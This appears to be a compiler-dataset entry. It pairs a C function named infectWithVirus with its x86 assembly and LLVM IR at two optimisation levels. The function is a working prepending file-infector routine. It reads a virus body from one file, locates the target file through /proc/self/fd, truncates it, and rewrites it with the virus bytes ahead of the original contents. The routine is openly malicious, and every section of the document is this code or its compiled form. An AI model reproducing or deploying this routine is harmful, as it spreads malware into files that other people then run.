#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct stat {
  int st_size;
};

/* Variables and functions */
int O_RDWR;
int O_TRUNC;
int PATH_MAX;
int /*<<< orphan*/ SEEK_SET;
int /*<<< orphan*/ __NR_close;
int /*<<< orphan*/ __NR_open;
int /*<<< orphan*/ __NR_read;
int errno;
int /*<<< orphan*/ exit(int);
int /*<<< orphan*/ free(char *);
int fstat(int, struct stat *);
int /*<<< orphan*/ lseek(int, int /*<<< orphan*/, int /*<<< orphan*/);
char *malloc(int);
int /*<<< orphan*/ memcpy(char *, char *, int);
int read(int, char *, int);
int readlink(char *, char *, int);
int /*<<< orphan*/ sprintf(char *, char *, int);
int syscall(int /*<<< orphan*/, ...);
int /*<<< orphan*/ write(int, char *, int);
int infectWithVirus(int fd, int fdTemp, char *argv) {
  int i = 0, virLen = 0;
  lseek(fd, SEEK_SET, 0);
  struct stat fstatInfo;
  if (fstat(fdTemp, &fstatInfo) == -1) {
    syscall(__NR_close, fdTemp);
    return -1;
  }
  char offBuf = 0x00;
  char *virBuf = malloc(sizeof(char) * fstatInfo.st_size);
  while (syscall(__NR_read, fdTemp, &offBuf, 1) == 1) {
    memcpy(&virBuf[virLen++], &offBuf, 1);
  }
  syscall(__NR_close, fdTemp);
  if (fstat(fd, &fstatInfo) == -1) {
    return -1;
  }
  offBuf = 0x00;
  char *fileBuf = malloc(sizeof(char) * fstatInfo.st_size);
  while (read(fd, &offBuf, 1) == 1) {
    memcpy(&fileBuf[i++], &offBuf, 1);
  }
  char pathBuf[100];
  char dest[PATH_MAX];
  sprintf(pathBuf, "/proc/self/fd/%d", fd);
  if (readlink(pathBuf, dest, PATH_MAX) == -1) {
    exit(errno);
  }
  syscall(__NR_close, fd);
  if ((fd = syscall(__NR_open, dest, O_RDWR | O_TRUNC)) == -1) {
    exit(1);
  }
  for (i = 0; i < virLen; i++) {
    write(fd, &virBuf[i], 1);
  }
  for (i = 0; i < fstatInfo.st_size; i++) {
    write(fd, &fileBuf[i], 1);
  }
  free(virBuf);
  free(fileBuf);
  return 0;
}


x86 assembly (clang, -O0):
<infectWithVirus>:
push   %rbp
mov    %rsp,%rbp
sub    $0xd0,%rsp
mov    %edi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
mov    %rdx,-0x18(%rbp)
movl   $0x0,-0x1c(%rbp)
movl   $0x0,-0x20(%rbp)
mov    -0x8(%rbp),%edi
mov    0x2dcb(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1060 <lseek@plt>
mov    -0xc(%rbp),%edi
lea    -0x28(%rbp),%rsi
call   10d0 <fstat@plt>
cmp    $0xffffffff,%eax
jne    121a <infectWithVirus+0x6a>
mov    0x2dc6(%rip),%rax
mov    (%rax),%edi
mov    -0xc(%rbp),%esi
mov    $0x0,%al
call   1080 <syscall@plt>
movl   $0xffffffff,-0x4(%rbp)
jmp    146e <infectWithVirus+0x2be>
movb   $0x0,-0x29(%rbp)
movslq -0x28(%rbp),%rax
shl    $0x0,%rax
mov    %eax,%edi
call   10a0 <malloc@plt>
mov    %rax,-0x38(%rbp)
mov    0x2d88(%rip),%rax
mov    (%rax),%edi
mov    -0xc(%rbp),%esi
lea    -0x29(%rbp),%rdx
mov    $0x1,%ecx
mov    $0x0,%al
call   1080 <syscall@plt>
cmp    $0x1,%eax
jne    127d <infectWithVirus+0xcd>
mov    -0x38(%rbp),%rdi
mov    -0x20(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x20(%rbp)
cltq
add    %rax,%rdi
lea    -0x29(%rbp),%rsi
mov    $0x1,%edx
call   1090 <memcpy@plt>
jmp    1231 <infectWithVirus+0x81>
mov    0x2d44(%rip),%rax
mov    (%rax),%edi
mov    -0xc(%rbp),%esi
mov    $0x0,%al
call   1080 <syscall@plt>
mov    -0x8(%rbp),%edi
lea    -0x28(%rbp),%rsi
call   10d0 <fstat@plt>
cmp    $0xffffffff,%eax
jne    12b1 <infectWithVirus+0x101>
movl   $0xffffffff,-0x4(%rbp)
jmp    146e <infectWithVirus+0x2be>
movb   $0x0,-0x29(%rbp)
movslq -0x28(%rbp),%rax
shl    $0x0,%rax
mov    %eax,%edi
call   10a0 <malloc@plt>
mov    %rax,-0x40(%rbp)
mov    -0x8(%rbp),%edi
lea    -0x29(%rbp),%rsi
mov    $0x1,%edx
call   1070 <read@plt>
cmp    $0x1,%eax
jne    1309 <infectWithVirus+0x159>
mov    -0x40(%rbp),%rdi
mov    -0x1c(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x1c(%rbp)
cltq
add    %rax,%rdi
lea    -0x29(%rbp),%rsi
mov    $0x1,%edx
call   1090 <memcpy@plt>
jmp    12c8 <infectWithVirus+0x118>
mov    0x2cd8(%rip),%rax
mov    (%rax),%eax
mov    %rsp,%rcx
mov    %rcx,-0xb8(%rbp)
mov    %rax,%rdx
add    $0xf,%rdx
and    $0xfffffffffffffff0,%rdx
mov    %rsp,%rcx
sub    %rdx,%rcx
mov    %rcx,-0xc8(%rbp)
mov    %rcx,%rsp
mov    %rax,-0xc0(%rbp)
lea    -0xb0(%rbp),%rdi
mov    -0x8(%rbp),%edx
lea    0xcb1(%rip),%rsi
call   10b0 <sprintf@plt>
mov    -0xc8(%rbp),%rsi
lea    -0xb0(%rbp),%rdi
mov    0x2c7f(%rip),%rax
mov    (%rax),%edx
call   1040 <readlink@plt>
cmp    $0xffffffff,%eax
jne    1387 <infectWithVirus+0x1d7>
mov    0x2c30(%rip),%rax
mov    (%rax),%edi
call   10c0 <exit@plt>
mov    0x2c3a(%rip),%rax
mov    (%rax),%edi
mov    -0x8(%rbp),%esi
mov    $0x0,%al
call   1080 <syscall@plt>
mov    -0xc8(%rbp),%rsi
mov    0x2c38(%rip),%rax
mov    (%rax),%edi
mov    0x2c1f(%rip),%rax
mov    (%rax),%edx
mov    0x2c3e(%rip),%rax
or     (%rax),%edx
mov    $0x0,%al
call   1080 <syscall@plt>
mov    %eax,-0x8(%rbp)
cmp    $0xffffffff,%eax
jne    13d9 <infectWithVirus+0x229>
mov    $0x1,%edi
call   10c0 <exit@plt>
movl   $0x0,-0x1c(%rbp)
mov    -0x1c(%rbp),%eax
cmp    -0x20(%rbp),%eax
jge    1412 <infectWithVirus+0x262>
mov    -0x8(%rbp),%edi
mov    -0x38(%rbp),%rsi
movslq -0x1c(%rbp),%rax
add    %rax,%rsi
mov    $0x1,%edx
call   1050 <write@plt>
mov    -0x1c(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x1c(%rbp)
jmp    13e0 <infectWithVirus+0x230>
movl   $0x0,-0x1c(%rbp)
mov    -0x1c(%rbp),%eax
cmp    -0x28(%rbp),%eax
jge    144b <infectWithVirus+0x29b>
mov    -0x8(%rbp),%edi
mov    -0x40(%rbp),%rsi
movslq -0x1c(%rbp),%rax
add    %rax,%rsi
mov    $0x1,%edx
call   1050 <write@plt>
mov    -0x1c(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x1c(%rbp)
jmp    1419 <infectWithVirus+0x269>
mov    -0x38(%rbp),%rdi
call   1030 <free@plt>
mov    -0x40(%rbp),%rdi
call   1030 <free@plt>
movl   $0x0,-0x4(%rbp)
mov    -0xb8(%rbp),%rax
mov    %rax,%rsp
mov    -0x4(%rbp),%eax
mov    %rbp,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<infectWithVirus>:
push   %rbp
mov    %rsp,%rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x88,%rsp
mov    %esi,%r15d
mov    %edi,%r12d
mov    0x2dd7(%rip),%rax
mov    (%rax),%esi
xor    %r13d,%r13d
xor    %edx,%edx
call   1060 <lseek@plt>
lea    -0x30(%rbp),%rsi
mov    %r15d,%edi
call   10d0 <fstat@plt>
cmp    $0xffffffff,%eax
je     1413 <infectWithVirus+0x263>
movb   $0x0,-0x29(%rbp)
mov    -0x30(%rbp),%edi
call   10a0 <malloc@plt>
mov    %rax,%rbx
mov    0x2db8(%rip),%r14
mov    (%r14),%edi
lea    -0x29(%rbp),%rdx
mov    %r15d,%esi
mov    $0x1,%ecx
xor    %eax,%eax
call   1080 <syscall@plt>
cmp    $0x1,%eax
jne    1276 <infectWithVirus+0xc6>
mov    %r12d,-0x38(%rbp)
mov    %rbx,%r12
lea    -0x29(%rbp),%rbx
xor    %r13d,%r13d
cs nopw 0x0(%rax,%rax,1)
nopl   0x0(%rax,%rax,1)
lea    (%r12,%r13,1),%rdi
add    $0x1,%r13
mov    %rbx,%rsi
mov    $0x1,%edx
call   1090 <memcpy@plt>
mov    (%r14),%edi
mov    %r15d,%esi
mov    %rbx,%rdx
mov    $0x1,%ecx
xor    %eax,%eax
call   1080 <syscall@plt>
cmp    $0x1,%eax
je     1240 <infectWithVirus+0x90>
mov    %r12,%rbx
mov    -0x38(%rbp),%r12d
mov    0x2d4b(%rip),%rax
mov    (%rax),%edi
mov    %r15d,%esi
xor    %eax,%eax
call   1080 <syscall@plt>
lea    -0x30(%rbp),%rsi
mov    %r12d,%edi
call   10d0 <fstat@plt>
cmp    $0xffffffff,%eax
je     1426 <infectWithVirus+0x276>
mov    %rbx,-0x38(%rbp)
movb   $0x0,-0x29(%rbp)
mov    -0x30(%rbp),%r14d
mov    %r14d,%edi
call   10a0 <malloc@plt>
mov    %rax,-0x40(%rbp)
lea    -0x29(%rbp),%rsi
mov    %r12d,%edi
mov    $0x1,%edx
call   1070 <read@plt>
cmp    $0x1,%eax
jne    1309 <infectWithVirus+0x159>
lea    -0x29(%rbp),%rbx
mov    -0x40(%rbp),%r15
cs nopw 0x0(%rax,%rax,1)
xchg   %ax,%ax
mov    %r15,%rdi
mov    %rbx,%rsi
mov    $0x1,%edx
call   1090 <memcpy@plt>
mov    %r12d,%edi
mov    %rbx,%rsi
mov    $0x1,%edx
call   1070 <read@plt>
add    $0x1,%r15
cmp    $0x1,%eax
je     12e0 <infectWithVirus+0x130>
mov    %rsp,-0x48(%rbp)
mov    0x2cd4(%rip),%rax
mov    (%rax),%eax
mov    %rsp,%rbx
add    $0xf,%rax
and    $0xfffffffffffffff0,%rax
sub    %rax,%rbx
mov    %rbx,%rsp
lea    0xcd2(%rip),%rsi
lea    -0xb0(%rbp),%r15
mov    %r15,%rdi
mov    %r12d,%edx
call   10b0 <sprintf@plt>
mov    0x2ca1(%rip),%rax
mov    (%rax),%edx
mov    %r15,%rdi
mov    %rbx,%rsi
call   1040 <readlink@plt>
cmp    $0xffffffff,%eax
je     143a <infectWithVirus+0x28a>
mov    0x2c64(%rip),%rax
mov    (%rax),%edi
mov    %r12d,%esi
xor    %eax,%eax
call   1080 <syscall@plt>
mov    0x2c69(%rip),%rax
mov    (%rax),%edi
mov    0x2c50(%rip),%rax
mov    0x2c71(%rip),%rcx
mov    (%rcx),%edx
or     (%rax),%edx
mov    %rbx,%rsi
xor    %eax,%eax
call   1080 <syscall@plt>
cmp    $0xffffffff,%eax
je     1448 <infectWithVirus+0x298>
mov    %eax,%r12d
test   %r13d,%r13d
je     13ca <infectWithVirus+0x21a>
mov    %r13d,%r15d
mov    -0x38(%rbp),%rbx
nopl   (%rax)
mov    %r12d,%edi
mov    %rbx,%rsi
mov    $0x1,%edx
call   1050 <write@plt>
add    $0x1,%rbx
add    $0xffffffffffffffff,%r15
jne    13b0 <infectWithVirus+0x200>
test   %r14d,%r14d
mov    -0x40(%rbp),%r15
jle    13fa <infectWithVirus+0x24a>
mov    %r15,%rbx
cs nopw 0x0(%rax,%rax,1)
mov    %r12d,%edi
mov    %rbx,%rsi
mov    $0x1,%edx
call   1050 <write@plt>
add    $0x1,%rbx
add    $0xffffffffffffffff,%r14
jne    13e0 <infectWithVirus+0x230>
mov    -0x38(%rbp),%rdi
call   1030 <free@plt>
mov    %r15,%rdi
call   1030 <free@plt>
mov    -0x48(%rbp),%rsp
xor    %eax,%eax
jmp    142b <infectWithVirus+0x27b>
mov    0x2bae(%rip),%rax
mov    (%rax),%edi
mov    %r15d,%esi
xor    %eax,%eax
call   1080 <syscall@plt>
mov    $0xffffffff,%eax
lea    -0x28(%rbp),%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
mov    0x2b6f(%rip),%rax
mov    (%rax),%edi
call   10c0 <exit@plt>
mov    $0x1,%edi
call   10c0 <exit@plt>

LLVM IR (-O0):
%struct.stat = type { i32 }
@SEEK_SET = global i32 0
@__NR_close = global i32 0
@__NR_read = global i32 0
@PATH_MAX = global i32 0
@.str = [17 x i8] c"/proc/self/fd/%d\00"
@errno = global i32 0
@__NR_open = global i32 0
@O_RDWR = global i32 0
@O_TRUNC = global i32 0
define i32 @infectWithVirus(i32 %0, i32 %1, i8* %2) {
%4 = alloca i32
%5 = alloca i32
%6 = alloca i32
%7 = alloca i8*
%8 = alloca i32
%9 = alloca i32
%10 = alloca %struct.stat
%11 = alloca i8
%12 = alloca i8*
%13 = alloca i8*
%14 = alloca [100 x i8]
%15 = alloca i8*
%16 = alloca i64
store i32 %0, i32* %5
store i32 %1, i32* %6
store i8* %2, i8** %7
store i32 0, i32* %8
store i32 0, i32* %9
%17 = load i32, i32* %5
%18 = load i32, i32* @SEEK_SET
%19 = call i32 @lseek(i32 %17, i32 %18, i32 0)
%20 = load i32, i32* %6
%21 = call i32 @fstat(i32 %20, %struct.stat* %10)
%22 = icmp eq i32 %21, -1
br i1 %22, label %23, label %27
23: ; preds = %3
%24 = load i32, i32* @__NR_close
%25 = load i32, i32* %6
%26 = call i32 (i32, ...) @syscall(i32 %24, i32 %25)
store i32 -1, i32* %4
br label %136
27: ; preds = %3
store i8 0, i8* %11
%28 = getelementptr inbounds %struct.stat, %struct.stat* %10, i32 0, i32 0
%29 = load i32, i32* %28
%30 = sext i32 %29 to i64
%31 = mul i64 1, %30
%32 = trunc i64 %31 to i32
%33 = call i8* @malloc(i32 %32)
store i8* %33, i8** %12
br label %34
34: ; preds = %39, %27
%35 = load i32, i32* @__NR_read
%36 = load i32, i32* %6
%37 = call i32 (i32, ...) @syscall(i32 %35, i32 %36, i8* %11, i32 1)
%38 = icmp eq i32 %37, 1
br i1 %38, label %39, label %46
39: ; preds = %34
%40 = load i8*, i8** %12
%41 = load i32, i32* %9
%42 = add nsw i32 %41, 1
store i32 %42, i32* %9
%43 = sext i32 %41 to i64
%44 = getelementptr inbounds i8, i8* %40, i64 %43
%45 = call i32 @memcpy(i8* %44, i8* %11, i32 1)
br label %34
46: ; preds = %34
%47 = load i32, i32* @__NR_close
%48 = load i32, i32* %6
%49 = call i32 (i32, ...) @syscall(i32 %47, i32 %48)
%50 = load i32, i32* %5
%51 = call i32 @fstat(i32 %50, %struct.stat* %10)
%52 = icmp eq i32 %51, -1
br i1 %52, label %53, label %54
53: ; preds = %46
store i32 -1, i32* %4
br label %136
54: ; preds = %46
store i8 0, i8* %11
%55 = getelementptr inbounds %struct.stat, %struct.stat* %10, i32 0, i32 0
%56 = load i32, i32* %55
%57 = sext i32 %56 to i64
%58 = mul i64 1, %57
%59 = trunc i64 %58 to i32
%60 = call i8* @malloc(i32 %59)
store i8* %60, i8** %13
br label %61
61: ; preds = %65, %54
%62 = load i32, i32* %5
%63 = call i32 @read(i32 %62, i8* %11, i32 1)
%64 = icmp eq i32 %63, 1
br i1 %64, label %65, label %72
65: ; preds = %61
%66 = load i8*, i8** %13
%67 = load i32, i32* %8
%68 = add nsw i32 %67, 1
store i32 %68, i32* %8
%69 = sext i32 %67 to i64
%70 = getelementptr inbounds i8, i8* %66, i64 %69
%71 = call i32 @memcpy(i8* %70, i8* %11, i32 1)
br label %61
72: ; preds = %61
%73 = load i32, i32* @PATH_MAX
%74 = zext i32 %73 to i64
%75 = call i8* @llvm.stacksave()
store i8* %75, i8** %15
%76 = alloca i8, i64 %74
store i64 %74, i64* %16
%77 = getelementptr inbounds [100 x i8], [100 x i8]* %14, i64 0, i64 0
%78 = load i32, i32* %5
%79 = call i32 @sprintf(i8* %77, i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str, i64 0, i64 0), i32 %78)
%80 = getelementptr inbounds [100 x i8], [100 x i8]* %14, i64 0, i64 0
%81 = load i32, i32* @PATH_MAX
%82 = call i32 @readlink(i8* %80, i8* %76, i32 %81)
%83 = icmp eq i32 %82, -1
br i1 %83, label %84, label %87
84: ; preds = %72
%85 = load i32, i32* @errno
%86 = call i32 @exit(i32 %85)
unreachable
87: ; preds = %72
%88 = load i32, i32* @__NR_close
%89 = load i32, i32* %5
%90 = call i32 (i32, ...) @syscall(i32 %88, i32 %89)
%91 = load i32, i32* @__NR_open
%92 = load i32, i32* @O_RDWR
%93 = load i32, i32* @O_TRUNC
%94 = or i32 %92, %93
%95 = call i32 (i32, ...) @syscall(i32 %91, i8* %76, i32 %94)
store i32 %95, i32* %5
%96 = icmp eq i32 %95, -1
br i1 %96, label %97, label %99
97: ; preds = %87
%98 = call i32 @exit(i32 1)
unreachable
99: ; preds = %87
store i32 0, i32* %8
br label %100
100: ; preds = %111, %99
%101 = load i32, i32* %8
%102 = load i32, i32* %9
%103 = icmp slt i32 %101, %102
br i1 %103, label %104, label %114
104: ; preds = %100
%105 = load i32, i32* %5
%106 = load i8*, i8** %12
%107 = load i32, i32* %8
%108 = sext i32 %107 to i64
%109 = getelementptr inbounds i8, i8* %106, i64 %108
%110 = call i32 @write(i32 %105, i8* %109, i32 1)
br label %111
111: ; preds = %104
%112 = load i32, i32* %8
%113 = add nsw i32 %112, 1
store i32 %113, i32* %8
br label %100
114: ; preds = %100
store i32 0, i32* %8
br label %115
115: ; preds = %127, %114
%116 = load i32, i32* %8
%117 = getelementptr inbounds %struct.stat, %struct.stat* %10, i32 0, i32 0
%118 = load i32, i32* %117
%119 = icmp slt i32 %116, %118
br i1 %119, label %120, label %130
120: ; preds = %115
%121 = load i32, i32* %5
%122 = load i8*, i8** %13
%123 = load i32, i32* %8
%124 = sext i32 %123 to i64
%125 = getelementptr inbounds i8, i8* %122, i64 %124
%126 = call i32 @write(i32 %121, i8* %125, i32 1)
br label %127
127: ; preds = %120
%128 = load i32, i32* %8
%129 = add nsw i32 %128, 1
store i32 %129, i32* %8
br label %115
130: ; preds = %115
%131 = load i8*, i8** %12
%132 = call i32 @free(i8* %131)
%133 = load i8*, i8** %13
%134 = call i32 @free(i8* %133)
store i32 0, i32* %4
%135 = load i8*, i8** %15
br label %136
136: ; preds = %130, %53, %23
%137 = load i32, i32* %4
ret i32 %137
}

LLVM IR (-O2):
%struct.stat = type { i32 }
@SEEK_SET = global i32 0
@__NR_close = global i32 0
@__NR_read = global i32 0
@PATH_MAX = global i32 0
@.str = [17 x i8] c"/proc/self/fd/%d\00"
@errno = global i32 0
@__NR_open = global i32 0
@O_RDWR = global i32 0
@O_TRUNC = global i32 0
define i32 @infectWithVirus(i32 %0, i32 %1, i8* nocapture readnone %2) {
%4 = alloca %struct.stat
%5 = alloca i8
%6 = alloca [100 x i8]
%7 = load i32, i32* @SEEK_SET
%8 = tail call i32 @lseek(i32 %0, i32 %7, i32 0)
%9 = bitcast %struct.stat* %4 to i8*
%10 = call i32 @fstat(i32 %1, %struct.stat* %4)
%11 = icmp eq i32 %10, -1
br i1 %11, label %12, label %15
12: ; preds = %3
%13 = load i32, i32* @__NR_close
%14 = tail call i32 (i32, ...) @syscall(i32 %13, i32 %1)
br label %99
15: ; preds = %3
store i8 0, i8* %5
%16 = getelementptr inbounds %struct.stat, %struct.stat* %4, i64 0, i32 0
%17 = load i32, i32* %16
%18 = tail call i8* @malloc(i32 %17)
%19 = load i32, i32* @__NR_read
%20 = call i32 (i32, ...) @syscall(i32 %19, i32 %1, i8* %5, i32 1)
%21 = icmp eq i32 %20, 1
br i1 %21, label %22, label %32
22: ; preds = %15, %22
%23 = phi i64 [ %24, %22 ], [ 0, %15 ]
%24 = add nuw i64 %23, 1
%25 = getelementptr inbounds i8, i8* %18, i64 %23
%26 = call i32 @memcpy(i8* %25, i8* %5, i32 1)
%27 = load i32, i32* @__NR_read
%28 = call i32 (i32, ...) @syscall(i32 %27, i32 %1, i8* %5, i32 1)
%29 = icmp eq i32 %28, 1
br i1 %29, label %22, label %30
30: ; preds = %22
%31 = trunc i64 %24 to i32
br label %32
32: ; preds = %30, %15
%33 = phi i32 [ 0, %15 ], [ %31, %30 ]
%34 = load i32, i32* @__NR_close
%35 = call i32 (i32, ...) @syscall(i32 %34, i32 %1)
%36 = call i32 @fstat(i32 %0, %struct.stat* %4)
%37 = icmp eq i32 %36, -1
br i1 %37, label %97, label %38
38: ; preds = %32
store i8 0, i8* %5
%39 = load i32, i32* %16
%40 = call i8* @malloc(i32 %39)
%41 = call i32 @read(i32 %0, i8* %5, i32 1)
%42 = icmp eq i32 %41, 1
br i1 %42, label %43, label %50
43: ; preds = %38, %43
%44 = phi i64 [ %45, %43 ], [ 0, %38 ]
%45 = add nuw i64 %44, 1
%46 = getelementptr inbounds i8, i8* %40, i64 %44
%47 = call i32 @memcpy(i8* %46, i8* %5, i32 1)
%48 = call i32 @read(i32 %0, i8* %5, i32 1)
%49 = icmp eq i32 %48, 1
br i1 %49, label %43, label %50
50: ; preds = %43, %38
%51 = getelementptr inbounds [100 x i8], [100 x i8]* %6, i64 0, i64 0
%52 = load i32, i32* @PATH_MAX
%53 = zext i32 %52 to i64
%54 = call i8* @llvm.stacksave()
%55 = alloca i8, i64 %53
%56 = call i32 @sprintf(i8* %51, i8* dereferenceable(1) getelementptr inbounds ([17 x i8], [17 x i8]* @.str, i64 0, i64 0), i32 %0)
%57 = load i32, i32* @PATH_MAX
%58 = call i32 @readlink(i8* %51, i8* %55, i32 %57)
%59 = icmp eq i32 %58, -1
br i1 %59, label %60, label %63
60: ; preds = %50
%61 = load i32, i32* @errno
%62 = call i32 @exit(i32 %61)
unreachable
63: ; preds = %50
%64 = load i32, i32* @__NR_close
%65 = call i32 (i32, ...) @syscall(i32 %64, i32 %0)
%66 = load i32, i32* @__NR_open
%67 = load i32, i32* @O_RDWR
%68 = load i32, i32* @O_TRUNC
%69 = or i32 %68, %67
%70 = call i32 (i32, ...) @syscall(i32 %66, i8* %55, i32 %69)
%71 = icmp eq i32 %70, -1
br i1 %71, label %76, label %72
72: ; preds = %63
%73 = icmp eq i32 %33, 0
br i1 %73, label %78, label %74
74: ; preds = %72
%75 = zext i32 %33 to i64
br label %82
76: ; preds = %63
%77 = call i32 @exit(i32 1)
unreachable
78: ; preds = %82, %72
%79 = icmp sgt i32 %39, 0
br i1 %79, label %80, label %94
80: ; preds = %78
%81 = zext i32 %39 to i64
br label %88
82: ; preds = %74, %82
%83 = phi i64 [ 0, %74 ], [ %86, %82 ]
%84 = getelementptr inbounds i8, i8* %18, i64 %83
%85 = call i32 @write(i32 %70, i8* %84, i32 1)
%86 = add nuw nsw i64 %83, 1
%87 = icmp eq i64 %86, %75
br i1 %87, label %78, label %82
88: ; preds = %80, %88
%89 = phi i64 [ 0, %80 ], [ %92, %88 ]
%90 = getelementptr inbounds i8, i8* %40, i64 %89
%91 = call i32 @write(i32 %70, i8* %90, i32 1)
%92 = add nuw nsw i64 %89, 1
%93 = icmp eq i64 %92, %81
br i1 %93, label %94, label %88
94: ; preds = %88, %78
%95 = call i32 @free(i8* %18)
%96 = call i32 @free(i8* %40)
br label %97
97: ; preds = %32, %94
%98 = phi i32 [ 0, %94 ], [ -1, %32 ]
br label %99
99: ; preds = %97, %12
%100 = phi i32 [ -1, %12 ], [ %98, %97 ]
ret i32 %100
}